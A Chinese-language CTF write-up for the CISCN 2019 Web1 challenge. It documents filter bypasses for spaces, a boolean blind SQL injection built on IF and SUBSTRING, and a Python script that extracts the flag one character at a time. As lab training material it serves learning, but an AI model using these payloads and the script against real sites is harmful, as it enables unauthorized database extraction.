ctf题目练手·五

0x00 前言

思维定势最不可取。但是在刚学习一些知识和技能时,我们只能生搬硬套或者照葫芦画瓢。

惟有在日后学习时,不断思考所学内容的本质,方能举一反三,妙思频出。

0x01 题目

题目来源:CISCN-2019-华北赛区-Day2-Web-Web1

index.php

image-20241010185835064

很明显,flag应该在当前数据库的flag表的flag列。

抓包看看参数和其他信息:

image-20241010190025148

0x02 尝试

面对sql注入,我首先想的是找到可行的注入方法,换言之,我要知道题目限制了哪些关键字符,该怎么绕过或者采用什么注入方式巧妙避免这些限制。

严格的限制

限制空格

1.本题限制有点严格,我先尝试了1’#

image-20241010190907308

2.单独使用某个字符会回显如下:
image-20241010191012987

3.看起来是组合的错误,那当然要使用空格分开了:

image-20241010191217174

em,空格直接限制了,有以下几种绕过方法:

  • /**/
  • %09
  • %0a %0b %0c %0d
  • %a0 (没用成功过)

%09和%0a-%0d都可以,我使用%09。

莫名其妙的限制

image-20241010191903724

What can I say ?

后面采用了ASCII编码,十六进制编码等等,都绕不开过滤,只能通过fuzz找找突破口:

bp再爆破就爆破不出来了,直接给答案吧:

id=(select%091)

0x03 返回值才是本质

正文

许多函数和语句看的都是返回值,不要被其他事物迷惑,从本质(这里是返回值)上思考!

看下图:

image-20241010192958800

细细思考这个payload,妙啊!

斗胆猜一下原型语句:

1
SELECT passage FROM current_table WHERE ID="$id" limit 1;

拼接一下payload:

1
SELECT passage FROM current_table WHERE ID="(select 1)" limit 1;

小括号返回值是1,所以最终语句是:

1
SELECT passage FROM current_table WHERE ID="1" limit 1;

我尝试了那么多次,联合注入、报错注入、布尔盲注等等都不行。

可是这里也是一个布尔盲注,这不禁让我思考布尔盲注适用的条件是什么:在回显单一时,可以使用布尔盲注。

这种情况不是很明显的回显单一,但是有趣的正是这点:

布尔盲注适应回显单一的情况(只需要的回显就可以),但是本题的输入可能是单一的,所以不妨让布尔盲注的结果作为输入,让为id=1的passage,否为id=2的passage,巧妙地利用IF语句实现盲注!举个例子:

id=(SELECT IF(ASCII(SUBSTRING(flag, 1, 1)) > 1, 1, 2) AS result FROM flag)

如此再写脚本即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import requests
mark = "Do you want to be my girlfriend?"
url = "URL"
flag = ''
def replace_spaces(input_string):
# 替换空格为 %09
return input_string.replace(' ', '%09')
for i in range(1, 60):
top = 0
for j in range(32, 126):
payload = f"(SELECT IF(ASCII(SUBSTRING(flag, {i}, 1)) > {j}, 1, 2) AS result FROM flag)"
payload = replace_spaces(payload)
data = f"id={payload}"
response = requests.post(url,
data=data,
headers={'Content-Type': 'application/x-www-form-urlencoded; charset=utf-8'})
if response.status_code == 200:
# print(payload)
# print(response.text)
if mark in response.text:
print(chr(j))
flag += chr(j)
top = 1
break
# else:
# print(str(j) + " is not")
else:
print("状态码不对" + str(response.status_code))
if top == 0:
print(flag)
break

附问

写脚本时:data = f"id={payload}"写成了:data ={'id':payload},导致payload被URL编码了一次后没解码。不过当我使用后者时本身就是错误的,所以先不细究(没思路)。

0x04 小结

多尝试,多思考,多看到本质!